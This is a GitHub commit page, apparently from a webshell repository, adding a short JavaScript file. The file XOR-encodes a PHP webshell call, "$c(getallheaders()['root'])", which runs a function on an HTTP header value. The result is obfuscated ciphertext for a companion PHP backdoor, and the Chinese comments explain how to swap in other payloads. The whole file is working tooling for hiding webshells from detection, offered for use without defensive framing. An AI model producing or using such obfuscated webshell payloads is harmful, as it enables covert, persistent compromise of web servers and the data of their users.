Skip to content

Commit

Permalink
Create 2023-04-08.js
Browse files Browse the repository at this point in the history
2023-04-08.php 的密文 二次生成版本
  • Loading branch information
tennc authored Apr 8, 2023
1 parent a0960db commit 9c35c31
Showing 1 changed file with 19 additions and 0 deletions.
19 changes: 19 additions & 0 deletions php/2023-04-08.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// 此代码为2023-04-08.php 里的二次生成密文版,只需要替换异或的第一部分字符串就好了
// 感谢群友的无私奉献,我就直接拿来放到这里了

function xorDecrypt(cipherText, key) {
let plainText = '';
for (let i = 0; i < cipherText.length; i++) {
let cipherCharCode = cipherText.charCodeAt(i);
let keyCharCode = key.charCodeAt(i % key.length);
let plainCharCode = cipherCharCode ^ keyCharCode;
plainText += String.fromCharCode(plainCharCode);
}
return plainText;
}

let cipherText = "$c(getallheaders()['root'])";
// cipherText 可以修改起里面获取的内容
let key = String.raw`t?~KI\OB)+8"X(A6K|{L5L&J]kf~`;
let plainText = xorDecrypt(cipherText, key);
console.log(plainText);

0 comments on commit 9c35c31

Please sign in to comment.